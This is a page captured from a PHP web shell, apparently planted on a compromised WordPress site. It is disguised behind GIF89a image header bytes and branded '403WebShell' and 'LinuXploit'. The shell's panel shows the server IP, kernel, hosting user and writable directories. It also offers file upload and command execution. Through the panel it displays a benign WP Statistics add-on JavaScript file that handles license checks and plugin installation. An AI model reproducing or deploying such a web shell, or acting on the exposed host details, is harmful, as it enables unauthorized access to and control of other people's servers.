GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.165
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/dangroup.sa/wp-content/plugins/wp-statistics/assets/dev/javascript/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/dangroup.sa/wp-content/plugins/wp-statistics/assets/dev/javascript/pages/add-ons.js
if (wps_js.isset(wps_js.global, 'request_params', 'page') && wps_js.global.request_params.page === "plugins") {
    jQuery(document).ready(function () {
        const action_buttons = document.querySelectorAll('.js-addon-show-more');
        const license_buttons = document.querySelectorAll('.js-wps-addon-license-button');
        const addon_items = document.querySelectorAll('.js-wps-addon-check-box');
        const retry_addon_install_btn = document.querySelectorAll('.js-addon-retry-btn');
        const select_all = document.querySelector('.js-wps-addon-select-all');
        const active_license_btn = document.querySelector('.js-addon-active-license');
        const addon_download_btn = document.querySelector('.js-addon-download-button');
        const license_input = document.querySelector('.wps-addon__step__active-license input');
        const active_all = document.querySelector('.js-addon_active-all');
        let active_addon_plugin_btn = document.querySelectorAll('.js-addon-active-plugin-btn');
        let selectedSlugs = [];
        let activeSlugs = [];
        let params = {
            'wps_nonce': wps_js.global.rest_api_nonce,
            'action': 'wp_statistics_check_license'
        };
        params = Object.assign(params, wps_js.global.request_params);

        if (params.page === 'plugins' && params?.tab === 'downloads' && addon_download_btn) {
            if (addon_items.length === 0) {
                addon_download_btn.textContent = wps_js._('continue_to_next_step');
                addon_download_btn.classList.remove('disabled');
                addon_download_btn.href = `admin.php?page=wps_plugins_page&tab=get-started&license_key=${params.license_key}`;
            }
        }


        const toggleActiveAll = () => {
            if (active_addon_plugin_btn && active_addon_plugin_btn.length > 0) {
                if (active_all) {
                    active_all.classList.remove('wps-hide')
                }
            }
        }
        toggleActiveAll();

        // Check if the alert div already exists and remove it
        const toggleAlertBox = (btn) => {
            const existingAlertDiv = btn.parentElement.parentElement.querySelector('.wps-alert');
            if (existingAlertDiv) {
                existingAlertDiv.remove();
            }
        }

        const updateSelectedSlugs = () => {
            selectedSlugs = [];
            addon_items.forEach(function (item) {
                if (item.checked) {
                    selectedSlugs.push(item.getAttribute('data-slug'));
                }
            });
        }

        // Generic function to process slugs sequentially
        const processSlugs = (slugs, action, index, onSuccess, button) => {
            if (index < slugs.length) {
                const slug = slugs[index];
                let action_params = {
                    ...params,
                    'action': action,
                    'plugin_slug': slug
                };

                if (button) {
                    wps_js.loading_button(button)
                 }

                sendAjaxRequest(action_params, button, () => processSlugs(slugs, action, index + 1, onSuccess, button));
            } else {
                onSuccess();
            }
        };

        // Function to handle step 2: downloading slugs
        const processSlugsSequentially = (index) => {
            select_all.classList.add('wps-hide');

            addon_items.forEach(function (item, i) {
                if (item.checked && i > index) {
                    const containStatus = item.parentElement.parentElement.querySelector('.wps-postbox-addon__status');
                    if (containStatus) {
                        containStatus.remove();
                    }
                    const statusSpan = document.createElement('span');
                    statusSpan.classList.add('wps-postbox-addon__status', 'wps-postbox-addon__status--waiting');
                    statusSpan.textContent = wps_js._('waiting');
                    item.parentElement.parentElement.insertBefore(statusSpan, item.parentElement.parentElement.firstChild);
                    item.parentElement.classList.add('wps-hide');
                }
            });


            processSlugs(selectedSlugs, 'wp_statistics_download_plugin', index, () => {
                addon_download_btn.classList.add('redirecting');
                addon_download_btn.textContent = wps_js._('redirecting');
                const new_params = new URLSearchParams();
                selectedSlugs.forEach(slug => new_params.append('addons[]', slug));
                window.location.href = `admin.php?page=wps_plugins_page&tab=get-started&license_key=${params.license_key}&` + new_params.toString();
            }, addon_download_btn);
        };

        // Function to handle step 3: activating slugs
        const processActiveSlugsSequentially = (index) => {

            active_addon_plugin_btn.forEach(function (item, i) {
                if (i > index) {
                    const containStatus = item.parentElement.parentElement.querySelector('.wps-postbox-addon__status');
                    if (containStatus) {
                        containStatus.remove();
                    }
                    const statusSpan = document.createElement('span');
                    statusSpan.classList.add('wps-postbox-addon__status', 'wps-postbox-addon__status--waiting');
                    statusSpan.textContent = wps_js._('waiting');
                    item.parentElement.parentElement.insertBefore(statusSpan, item.parentElement.parentElement.firstChild);
                    item.parentElement.classList.add('wps-hide')
                }
            });

            processSlugs(activeSlugs, 'wp_statistics_activate_plugin', index, () => {
                active_addon_plugin_btn.forEach(function (item, i) {
                    item.parentElement.classList.remove('wps-hide')
                });
                active_addon_plugin_btn = document.querySelectorAll('.js-addon-active-plugin-btn');
                toggleActiveAll();
            });
        };


        if (addon_items.length > 0) {
            if (select_all) {
                select_all.addEventListener('click', function (event) {
                    event.stopPropagation();
                    addon_items.forEach(function (item) {
                        item.checked = true;
                        item.parentElement.parentElement.parentElement.classList.add('wps-has-checkbox')
                    });
                    addon_download_btn.classList.remove('disabled');
                    updateSelectedSlugs();
                });
                select_all.click();
            }

            // Function to check the status of addon_items checkboxes
            const updateDownloadButtonState = () => {
                let anyChecked = false;
                addon_items.forEach(function (item) {
                    if (item.checked) {
                        anyChecked = true;
                    }
                });

                if (anyChecked) {
                    addon_download_btn.classList.remove('disabled');
                } else {
                    addon_download_btn.classList.add('disabled');
                }
                updateSelectedSlugs();
            }

            // Handle individual addon items checkboxes
            addon_items.forEach(function (item) {
                item.addEventListener('change', updateDownloadButtonState);
            });
        } else {
            if (select_all) select_all.classList.add('wps-hide');
        }

        // Updated handleAddonAction to use event delegation
        const handleAddonAction = (buttons, action, paramsKey) => {
            if (buttons.length > 0) {
                buttons.forEach(function (button) {
                    button.addEventListener('click', function (event) {
                        event.stopPropagation();
                        const slug = button.getAttribute('data-slug');
                        let action_params = {
                            ...params,
                            'action': action,
                            [paramsKey]: slug
                        };
                        sendAjaxRequest(action_params, button);
                    });
                });
            }
        };

        handleAddonAction(retry_addon_install_btn, 'wp_statistics_download_plugin', 'plugin_slug');
        handleAddonAction(active_addon_plugin_btn, 'wp_statistics_activate_plugin', 'plugin_slug');

        document.addEventListener('click', function (event) {
            if (event.target.classList.contains('js-addon-retry-btn')) {
                event.stopPropagation();
                const slug = event.target.getAttribute('data-slug');
                let action_params = {
                    ...params,
                    'action': 'wp_statistics_download_plugin',
                    'plugin_slug': slug
                };
                sendAjaxRequest(action_params, event.target);
            } else if (event.target.classList.contains('js-addon-active-plugin-btn')) {
                event.stopPropagation();
                const slug = event.target.getAttribute('data-slug');
                let action_params = {
                    ...params,
                    'action': 'wp_statistics_activate_plugin',
                    'plugin_slug': slug
                };
                sendAjaxRequest(action_params, event.target);
            } else if (event.target.classList.contains('js-addon_active-all')) {
                event.stopPropagation();
                active_all.classList.add('wps-hide');

                active_addon_plugin_btn = document.querySelectorAll('.js-addon-active-plugin-btn')
                activeSlugs = [];
                active_addon_plugin_btn.forEach(function (item) {
                    activeSlugs.push(item.getAttribute('data-slug'));
                });
                if (active_addon_plugin_btn && active_addon_plugin_btn.length > 0) {
                    processActiveSlugsSequentially(0);
                }
            }
        });

        if (addon_download_btn) {
            addon_download_btn.addEventListener('click', function (event) {
                if (!addon_download_btn.classList.contains('disable')) {
                    event.stopPropagation();

                    addon_items.forEach(function (item) {
                        if (!item.checked) {
                            item.disabled = true;
                        }
                    });
                    processSlugsSequentially(0);
                }
            });
        }

        if (action_buttons.length > 0) {
            action_buttons.forEach(function (button) {
                button.addEventListener('click', function (event) {
                    event.stopPropagation();

                    const isActive = this.parentElement.classList.contains('active');

                    document.querySelectorAll('.js-addon-show-more').forEach(function (otherButton) {
                        otherButton.parentElement.classList.remove('active');
                    });

                    if (!isActive) {
                        this.parentElement.classList.add('active');
                    }
                });
            });
            document.body.addEventListener('click', function () {
                document.querySelectorAll('.js-addon-show-more').forEach(function (button) {
                    button.parentElement.classList.remove('active');
                });
            });
        }

        if (license_buttons.length > 0) {
            license_buttons.forEach(function (button) {
                button.addEventListener('click', function (event) {
                    event.stopPropagation();
                    const isActive = this.classList.contains('active');
                    document.querySelectorAll('.js-wps-addon-license-button').forEach(function (otherButton) {
                        otherButton.classList.remove('active');
                        otherButton.closest('.wps-postbox-addon__item').classList.remove('active');
                    });
                    if (!isActive) {
                        this.classList.add('active');
                        const closestItem = this.closest('.wps-postbox-addon__item');
                        if (closestItem) {
                            closestItem.classList.add('active');
                            let active_input = closestItem.querySelector('.wps-addon__item__update_license input');
                            let active_button = closestItem.querySelector('.wps-addon__item__update_license button');
                            if (active_input && active_button) {
                                function toggleButtonState() {
                                    active_input.classList.remove('wps-danger', 'wps-warning');
                                    toggleAlertBox(active_button);
                                    if (active_input.value.trim() === '') {
                                        active_button.classList.add('disabled');
                                        active_button.disabled = true;
                                    } else {
                                        active_button.classList.remove('disabled');
                                        active_button.disabled = false;
                                    }
                                }

                                // Initial check when the page loads
                                toggleButtonState();

                                // Listen for input event to enable button when typing
                                active_input.addEventListener('input', function () {
                                    toggleButtonState();
                                });

                            }
                            if (active_button) {
                                active_button.addEventListener('click', function (event) {
                                    event.stopPropagation();
                                    // Get and trim the license key input value
                                    const license_key = active_input.value.trim();
                                    const addon_slug = active_input.dataset.addonSlug;

                                    if (license_key && addon_slug) {
                                        const active_params = {
                                            'license_key': license_key,
                                            'addon_slug': addon_slug,
                                            ...params
                                        }
                                        sendAjaxRequest(active_params, active_button);
                                    }
                                });
                            }


                        }
                    }
                });
            });
        }

        const errorHandel = (params, button, data) => {
            if (params.action === "wp_statistics_check_license") {
                toggleAlertBox(button);
                const alertDiv = document.createElement('div');
                if (data?.data?.message?.toLowerCase().includes('domain')) {
                    button.parentElement.querySelector('input').classList.add('wps-warning');
                    alertDiv.classList.add('wps-alert', 'wps-alert--warning');
                } else {
                    button.parentElement.querySelector('input').classList.add('wps-danger');
                    alertDiv.classList.add('wps-alert', 'wps-alert--danger');
                }
                alertDiv.innerHTML = `
                                <span class="icon"></span>
                                <div>
                                    <p>${data?.data?.message}</p>
                                </div>
                                `;
                let activeLicenseDiv;
                if (params.tab) {
                    activeLicenseDiv = document.querySelector('.wps-addon__step__active-license');
                } else {
                    activeLicenseDiv = button.parentElement;
                }

                if (activeLicenseDiv) {
                    activeLicenseDiv.parentNode.insertBefore(alertDiv, activeLicenseDiv.nextSibling);
                }
            }
            if (params.action === "wp_statistics_download_plugin") {
                const current_plugin_checkbox = document.querySelector(`[data-slug="${params.plugin_slug}"]`);
                if (current_plugin_checkbox) {
                    const downloadingStatus = current_plugin_checkbox.parentElement.parentElement.querySelector('.wps-postbox-addon__status');
                    if (downloadingStatus) {
                        downloadingStatus.remove();
                    }
                    const statusSpan = document.createElement('span');
                    statusSpan.classList.add('wps-postbox-addon__status', 'wps-postbox-addon__status--danger');
                    statusSpan.textContent = wps_js._('failed');
                    current_plugin_checkbox.parentElement.parentElement.insertBefore(statusSpan, current_plugin_checkbox.parentElement.parentElement.firstChild);

                    if (params.tab === 'get-started') {
                        const retryBtn = document.createElement('a');
                        retryBtn.classList.add('wps-postbox-addon__button', 'button-retry-addon-download', 'js-addon-retry-btn');
                        retryBtn.textContent = wps_js._('retry');
                        retryBtn.setAttribute('data-slug', params.plugin_slug);
                        current_plugin_checkbox.parentElement.parentElement.insertBefore(retryBtn, statusSpan.nextSibling);
                    }
                }
            }
            if (params.action === "wp_statistics_activate_plugin") {
                const current_plugin = document.querySelector(`[data-slug="${params.plugin_slug}"]`);
                if (current_plugin) {
                    const loadingStatus = current_plugin.parentElement.parentElement.querySelector('.wps-postbox-addon__status');
                    if (loadingStatus) {
                        loadingStatus.remove();
                    }
                    const statusSpan = document.createElement('span');
                    statusSpan.classList.add('wps-postbox-addon__status', 'wps-postbox-addon__status--danger');
                    statusSpan.textContent = wps_js._('failed');
                    current_plugin.parentElement.parentElement.insertBefore(statusSpan, current_plugin.parentElement.parentElement.firstChild);
                    current_plugin.style.display = 'flex';
                }
            }
        }
        // Define the AJAX request function
        const sendAjaxRequest = (params, button, callback) => {
            if (button)  wps_js.loading_button(button)
            if (params.action === "wp_statistics_download_plugin") {

                const current_plugin = document.querySelector(`[data-slug="${params.plugin_slug}"]`);
                if (current_plugin) {
                    const statusLable = current_plugin.parentElement.parentElement.querySelector('.wps-postbox-addon__status');
                    if (statusLable) {
                        statusLable.remove();
                    }
                    const statusSpan = document.createElement('span');
                    statusSpan.classList.add('wps-postbox-addon__status', 'wps-postbox-addon__status--purple');
                    statusSpan.textContent = wps_js._('downloading');
                    if (current_plugin && current_plugin.parentElement.parentElement) {
                        current_plugin.parentElement.parentElement.insertBefore(statusSpan, current_plugin.parentElement.parentElement.firstChild);
                        current_plugin.style.display = 'none';
                    }

                }
            }

            if (params.action === "wp_statistics_activate_plugin") {

                const current_plugin = document.querySelector(`[data-slug="${params.plugin_slug}"]`);
                if (current_plugin) {
                    const statusLable = current_plugin.parentElement.parentElement.querySelector('.wps-postbox-addon__status');
                    if (statusLable) {
                        statusLable.remove();
                    }
                    const statusSpan = document.createElement('span');
                    statusSpan.classList.add('wps-postbox-addon__status', 'wps-postbox-addon__status--purple');
                    statusSpan.textContent = wps_js._('activating');
                    if (current_plugin && current_plugin.parentElement.parentElement) {
                        current_plugin.parentElement.parentElement.insertBefore(statusSpan, current_plugin.parentElement.parentElement.firstChild);
                        current_plugin.style.display = 'none';
                    }
                }
            }
            jQuery.ajax({
                url: wps_js.global.admin_url + 'admin-ajax.php',
                type: 'GET',
                dataType: 'json',
                data: params,
                timeout: 30000,
                success: function (data) {
                    if (button) button.classList.remove('wps-loading-button');
                    if (data.success) {
                        if (button) button.classList.add('disabled');
                        if (params.action === "wp_statistics_check_license") {
                            if (wps_js.global.request_params?.tab) {
                                button.classList.add('redirecting');
                                button.textContent = wps_js._('redirecting');
                                window.location.href = `admin.php?page=wps_plugins_page&tab=downloads&license_key=${params.license_key}`;
                            } else {
                                toggleAlertBox(button);
                                button.parentElement.querySelector('input').classList.remove('wps-danger');
                                const statusDanger = button.parentElement.parentElement.parentElement.querySelector('.wps-postbox-addon__status');
                                if (statusDanger.classList.contains('wps-postbox-addon__status--danger')) {
                                    statusDanger.classList.add('wps-postbox-addon__status--success');
                                    statusDanger.classList.remove('wps-postbox-addon__status--danger');
                                    statusDanger.textContent = wps_js._('activated');
                                }
                                const alertDiv = document.createElement('div');
                                alertDiv.classList.add('wps-alert', 'wps-alert--success');
                                alertDiv.innerHTML = `
                                <span class="icon"></span>
                                <div>
                                    <p>${data?.data?.message}</p>
                                </div>
                                `;
                                let activeLicenseDiv = button.parentElement;
                                if (activeLicenseDiv) {
                                    activeLicenseDiv.parentNode.insertBefore(alertDiv, activeLicenseDiv.nextSibling);
                                }
                            }

                        }
                        if (params.action === "wp_statistics_download_plugin") {
                            const current_plugin_checkbox = document.querySelector(`[data-slug="${params.plugin_slug}"]`);
                            if (current_plugin_checkbox) {
                                const loadingStatus = current_plugin_checkbox.parentElement.parentElement.querySelector('.wps-postbox-addon__status--purple');
                                const updatedLable = current_plugin_checkbox.parentElement.parentElement.querySelector('.wps-postbox-addon__label--updated');
                                if (loadingStatus) {
                                    loadingStatus.remove();
                                }
                                if (updatedLable) {
                                    updatedLable.remove();
                                }
                                const statusSpan = document.createElement('span');
                                statusSpan.classList.add('wps-postbox-addon__status', 'wps-postbox-addon__status--installed');
                                statusSpan.textContent = wps_js._('already_installed');
                                if (current_plugin_checkbox && current_plugin_checkbox.parentElement.parentElement) {
                                    current_plugin_checkbox.parentElement.parentElement.insertBefore(statusSpan, current_plugin_checkbox.parentElement.parentElement.firstChild);
                                }

                                if (params.tab === 'downloads') {
                                    statusSpan.parentElement.parentElement.classList.add('wps-addon__download__item--disabled');
                                }
                                if (params.tab === 'get-started') {
                                    const activeBtn = document.createElement('a');
                                    activeBtn.classList.add('wps-postbox-addon__button', 'button-activate-addon', 'js-addon-active-plugin-btn');
                                    activeBtn.textContent = wps_js._('active');
                                    activeBtn.setAttribute('data-slug', params.plugin_slug);
                                    current_plugin_checkbox.parentElement.insertBefore(activeBtn, statusSpan.nextSibling);
                                    const showMoreBtn = document.querySelector('.js-addon-show-more');
                                    active_addon_plugin_btn = document.querySelectorAll('.js-addon-active-plugin-btn');
                                    toggleActiveAll();
                                    if (showMoreBtn) {
                                        showMoreBtn.classList.remove('wps-hide');
                                    }
                                }
                                current_plugin_checkbox.remove();
                            }
                        }
                        if (params.action === "wp_statistics_activate_plugin") {
                            const current_plugin_checkbox = document.querySelector(`[data-slug="${params.plugin_slug}"]`);
                            if (current_plugin_checkbox) {
                                const loadingStatus = current_plugin_checkbox.parentElement.parentElement.querySelector('.wps-postbox-addon__status--purple');
                                if (loadingStatus) {
                                    loadingStatus.remove();
                                }
                                const statusSpan = document.createElement('span');
                                statusSpan.classList.add('wps-postbox-addon__status', 'wps-postbox-addon__status--success');
                                statusSpan.textContent = wps_js._('activated');
                                current_plugin_checkbox.parentElement.parentElement.insertBefore(statusSpan, current_plugin_checkbox.parentElement.parentElement.firstChild);
                                current_plugin_checkbox.remove();
                            }
                        }

                    } else {
                        errorHandel(params, button, data);
                    }
                    if (callback) callback();
                },
                error: function (xhr, status, error) {
                    if (button) button.classList.remove('wps-loading-button');
                    if (callback) callback();
                    errorHandel(params, button, error);
                }
            });
        }
        if (license_input && active_license_btn) {
            function toggleButtonState() {
                license_input.classList.remove('wps-danger', 'wps-warning');
                toggleAlertBox(active_license_btn);

                if (license_input.value.trim() === '') {
                    active_license_btn.classList.add('disabled');
                    active_license_btn.disabled = true;
                } else {
                    active_license_btn.classList.remove('disabled');
                    active_license_btn.disabled = false;
                }

            }

            // Initial check when the page loads
            toggleButtonState();

            // Listen for input event to enable button when typing
            license_input.addEventListener('input', function () {
                toggleButtonState();
            });

        }

        if (active_license_btn) {
            active_license_btn.addEventListener('click', function (event) {
                event.stopPropagation();
                // Get and trim the license key input value
                const license_key = license_input.value.trim();
                if (license_key) {
                    const active_params = {
                        'license_key': license_key,
                        ...params
                    }
                    sendAjaxRequest(active_params, active_license_btn);
                }
            });
        }

    });
}

Youez - 2016 - github.com/yon3zu
LinuXploit